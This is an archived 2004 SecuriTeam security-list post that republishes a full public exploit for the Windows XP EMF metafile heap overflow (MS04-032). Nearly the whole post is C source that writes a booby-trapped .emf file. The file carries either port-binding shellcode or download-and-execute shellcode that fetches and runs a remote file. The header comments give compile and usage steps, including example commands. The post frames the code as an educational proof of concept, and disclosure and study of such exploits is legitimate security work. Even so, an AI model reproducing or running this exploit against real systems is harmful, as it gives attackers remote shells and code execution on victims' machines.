

[EXPL] Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/21/04

To: list@securiteam.com

Date: 21 Oct 2004 20:07:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

SUMMARY

Presented below is an exploit code for the EMF/WMF heap overflow addressed in: <http://www.securiteam.com/windowsntfocus/6V00F0UBFU.html> Security Update for Microsoft Windows (MS04-032)

The exploit can be compiled both under Win32 and the Unix environment. The exploit creates an EMF file with either a portbind or a connectback shellcode, which can be used on vulnerable systems.

DETAILS

```
/* HOD-ms04032-emf-expl2.c:
```

```
*
```

```
* (MS04-032) Microsoft Windows XP Metafile (.emf) Heap Overflow
```

```
*
```

```
* Exploit version 0.2 (PUBLIC) coded by
```

```
*
```

```
*
```

```
* ::[ houseofdabus ]::
```

```
*
```

```
*
```

Securiteam: [EXPL] Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

* [at inbox dot ru]

* -----

* About WMF/EMF:

* Windows Metafile (WMF) and Enhanced Windows
Metafile (EMF) formats

* are vector files that can contain a raster image...

* -----

* The vulnerability will be triggered by either viewing a malicious
* file or by navigating to a directory, which contains a malicious
* file and displays it as a thumbnail.

* -----

* Graphics Rendering Engine Vulnerability – CAN-2004-0209

* -----

* Tested on:

* – Internet Explorer 6.0 (SP1) (iexplore.exe)

* – Explorer (explorer.exe)

* – Windows XP SP1

* -----

* Compile:

* Win32/VC++ : cl HOD-ms04032-emf-expl.c

* Win32/cygwin: gcc HOD-ms04032-emf-expl.c -lws2_32.lib

* Linux : gcc -o HOD-ms04032-emf-expl HOD-ms04032-emf-expl.c

* -----

* Command Line Parameters/Arguments:

* -----

* HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]

* -----

* Shellcode:

* 1 – Portbind shellcode

* 2 – Connectback shellcode

* -----

* Examples:

* -----

* C:\>HOD-ms04032-emf-expl.exe expl.emf 1 7777

* -----

* C:\>HOD-ms04032-emf-expl.exe expl.emf 2 <http://host/file.exe>

* -----

* -----

* This is provided as proof-of-concept code only for
educational

* purposes and testing by authorized individuals with
permission to

* do so.

* -----

*/

```

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif

unsigned char emfheader[] =
"\x01\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x4c\x03\x00\x00\x4c\x03\x00\x00\x20\x45\x4d\x46\x00\x00\x01\x00"
"\x40\x00\x00\x00\x0b\x00\x00\x00\x0a\x00\x00\x00\xff\xff\x00\x00"

"\xEB\x12\x90\x90\x90\x90\x90\x90"
"\x9e\x5c\x05\x78" /* call [edi+0x74h] - rpert4.dll */
"\xb4\x73\xed\x77"; /* Top SEH - XP SP1 */

unsigned char portbind_sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff"
"\xff\xff\x8b\xc5\x83\xc0\x11\x33\xc9\x66\xb9\xc9\x01\x80\x30\x88"
"\x40\xe2\xfa\xdd\x03\x64\x03\x7c\x09\x64\x08\x88\x88\x88\x60\xc4"
"\x89\x88\x88\x01\xce\x74\x77\xfe\x74\xe0\x06\xc6\x86\x64\x60\xd9"
"\x89\x88\x88\x01\xce\x4e\xe0\xbb\xba\x88\x88\xe0\xff\xfb\xba\xd7"
"\xdc\x77\xde\x4e\x01\xce\x70\x77\xfe\x74\xe0\x25\x51\x8d\x46\x60"
"\xb8\x89\x88\x88\x01\xce\x5a\x77\xfe\x74\xe0\xfa\x76\x3b\x9e\x60"
"\xa8\x89\x88\x88\x01\xce\x46\x77\xfe\x74\xe0\x67\x46\x68\xe8\x60"
"\x98\x89\x88\x88\x01\xce\x42\x77\xfe\x70\xe0\x43\x65\x74\xb3\x60"
"\x88\x89\x88\x88\x01\xce\x7c\x77\xfe\x70\xe0\x51\x81\x7d\x25\x60"
"\x78\x88\x88\x88\x01\xce\x78\x77\xfe\x70\xe0\x2c\x92\xf8\x4f\x60"
"\x68\x88\x88\x88\x01\xce\x64\x77\xfe\x70\xe0\x2c\x25\xa6\x61\x60"
"\x58\x88\x88\x88\x01\xce\x60\x77\xfe\x70\xe0\x6d\xc1\x0e\xc1\x60"
"\x48\x88\x88\x88\x01\xce\x6a\x77\xfe\x70\xe0\x6f\xf1\x4e\xf1\x60"
"\x38\x88\x88\x88\x01\xce\x5e\xbb\x77\x09\x64\x7c\x89\x88\x88\xdc"
"\xe0\x89\x89\x88\x88\x77\xde\x7c\xd8\xd8\xd8\xd8\xc8\xd8\xc8\xd8"
"\x77\xde\x78\x03\x50\xdf\xdf\xe0\x8a\x88\xAB\x6F\x03\x44\xe2\x9e"

```

Securiteam: [EXPL] Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

```
"\xd9\xdb\x77\xde\x64\xdf\xdb\x77\xde\x60\xbb\x77\xdf\xd9\xdb\x77"  
"\xde\x6a\x03\x58\x01\xce\x36\xe0\xeb\xe5\xec\x88\x01\xee\x4a\x0b"  
"\x4c\x24\x05\xb4\xac\xbb\x48\xbb\x41\x08\x49\x9d\x23\x6a\x75\x4e"  
"\xcc\xac\x98\xcc\x76\xcc\xac\xb5\x01\xdc\xac\xc0\x01\xdc\xac\xc4"  
"\x01\xdc\xac\xd8\x05\xcc\xac\x98\xdc\xd8\xd9\xd9\xd9\xc9\xd9\xc1"  
"\xd9\xd9\x77\xfe\x4a\xd9\x77\xde\x46\x03\x44\xe2\x77\x77\xb9\x77"  
"\xde\x5a\x03\x40\x77\xfe\x36\x77\xde\x5e\x63\x16\x77\xde\x9c\xde"  
"\xec\x29\xb8\x88\x88\x03\xc8\x84\x03\xf8\x94\x25\x03\xc8\x80"  
"\xd6\x4a\x8c\x88\xdb\xdd\xde\xdf\x03\xe4\xac\x90\x03\xcd\xb4\x03"  
"\xdc\x8d\xf0\x8b\x5d\x03\xc2\x90\x03\xd2\xa8\x8b\x55\x6b\xba\xc1"  
"\x03\xbc\x03\x8b\x7d\xbb\x77\x74\xbb\x48\x24\xb2\x4c\xfc\x8f\x49"  
"\x47\x85\x8b\x70\x63\x7a\xb3\xf4\xac\x9c\xfd\x69\x03\xd2\xac\x8b"  
"\x55\xee\x03\x84\xc3\x03\xd2\x94\x8b\x55\x03\x8c\x03\x8b\x4d\x63"  
"\x8a\xbb\x48\x03\x5d\xd7\xd6\xd5\xd3\x4a\x8c\x88";
```

unsigned char download_sc[] =

```
"\x90\x90\x90\x90\x90\x90\x90\x90"  
  
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"  
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26"  
"\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14"  
"\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E"  
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48"  
"\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB"  
"\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65"  
"\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17"  
"\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10"  
"\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"  
"\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED"  
"\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13"  
"\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17"  
"\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17"  
"\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8"  
"\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE"  
"\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17"  
"\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17"  
"\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40"  
"\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8"  
"\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17"  
"\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17"  
"\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1"  
"\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7"  
"\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92"  
"\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A"  
"\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40"  
"\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50"  
"\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B"  
"\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65"  
"\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72"  
"\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B"
```

Securiteam: [EXPL] Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

```
"\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E"  
"\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72"  
"\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56"  
"\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65"  
"\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73"  
"\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27"  
"\x27\x39\x72\x6F\x72\x17""HOD""\x21";
```

```
unsigned char endoffile[] = "\x00\x00\x00\x00";
```

```
void  
usage(char *prog)  
{  
    printf("Usage:\n");  
    printf("%s <file> <shellcode> <bindport / url>\n", prog);  
    printf("\nShellcode:\n");  
    printf(" 1 - Portbind shellcode\n");  
    printf(" 2 - Download & exec shellcode\n\n");  
    exit(0);  
}
```

```
int  
main(int argc, char **argv)  
{  
    char endofurl = '\x01';  
    unsigned short port;  
    int sc;  
    FILE *fp;  
  
    printf("\n(MS04-032) Microsoft Windows XP Metafile (.emf) Heap  
Overflow\n\n");  
    printf("---- Coded by ::[ houseofdabus ]:: ----\n\n");  
  
    if (argc < 4) usage(argv[0]);  
  
    sc = atoi(argv[2]);  
    if ((sc > 2) || (sc < 1)) usage(argv[0]);  
  
    fp = fopen(argv[1], "wb");  
    if (fp == NULL) {  
        printf("[ - ] error: can't create file: %s\n", argv[1]);  
        exit(0);  
    }  
  
    /* header */  
    fwrite(emfheader, 1, sizeof(emfheader)-1, fp);  
  
    printf("[*] Shellcode: ");  
    if (sc == 1) {
```

Securiteam: [EXPL] Microsoft Windows XP Metafile (.emf) Heap Overflow (MS04-032)

```
port = atoi(argv[3]);
printf("Portbind, port = %u\n", port);
port = htons(port^(unsigned short)0x8888);
memcpy(portbind_sc+266, &port, 2);
fwrite(portbind_sc, 1, sizeof(portbind_sc)-1, fp);
fwrite(endoffile, 1, 4, fp);
}
else {
printf("Download & exec, url = %s\n", argv[3]);
fwrite(download_sc, 1, sizeof(download_sc)-1,
fp);
fwrite(argv[3], 1, strlen(argv[3]), fp);
fwrite(&endofurl, 1, 1, fp);
fwrite(endoffile, 1, 4, fp);
}

printf("[+] Ok\n");
fclose(fp);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:houseofdabus@@inbox.ru>
houseofdabus HOD.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.